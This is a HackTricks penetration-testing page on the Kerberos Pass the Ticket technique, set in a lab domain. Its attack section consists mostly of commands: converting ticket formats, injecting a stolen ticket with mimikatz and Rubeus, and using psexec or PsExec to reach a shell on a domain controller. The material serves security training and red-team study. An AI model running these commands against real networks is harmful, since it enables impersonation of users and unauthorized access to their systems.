Pass the Ticket - HackTricks

# Pass the Ticket

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

## Pass The Ticket (PTT)

In the Pass The Ticket (PTT) attack method, attackers steal a user's authentication ticket instead of their password or hash values. This stolen ticket is then used to impersonate the user, gaining unauthorized access to resources and services within a network.

Read:

- Harvesting tickets from Windows
- Harvesting tickets from Linux

### Swaping Linux and Windows tickets between platforms

The ticket_converter tool converts ticket formats using just the ticket itself and an output file.

    python ticket_converter.py velociraptor.ccache velociraptor.kirbi
    Converting ccache => kirbi

    python ticket_converter.py velociraptor.kirbi velociraptor.ccache
    Converting kirbi => ccache

In Windows Kekeo can be used.

### Pass The Ticket Attack

    export KRB5CCNAME=/root/impacket-examples/krb5cc_1120601113_ZFxZpK
    python psexec.py jurassic.park/trex@labwws02.jurassic.park -k -no-pass

    #Load the ticket in memory using mimikatz or Rubeus
    mimikatz.exe "kerberos::ptt [0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi"
    .\Rubeus.exe ptt /ticket:[0;28419fe]-2-1-40e00000-trex@krbtgt-JURASSIC.PARK.kirbi
    klist #List tickets in cache to cehck that mimikatz has loaded the ticket
    .\PsExec.exe -accepteula \\lab-wdc01.jurassic.park cmd

## References

- https://www.tarlogic.com/blog/how-to-attack-kerberos/

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.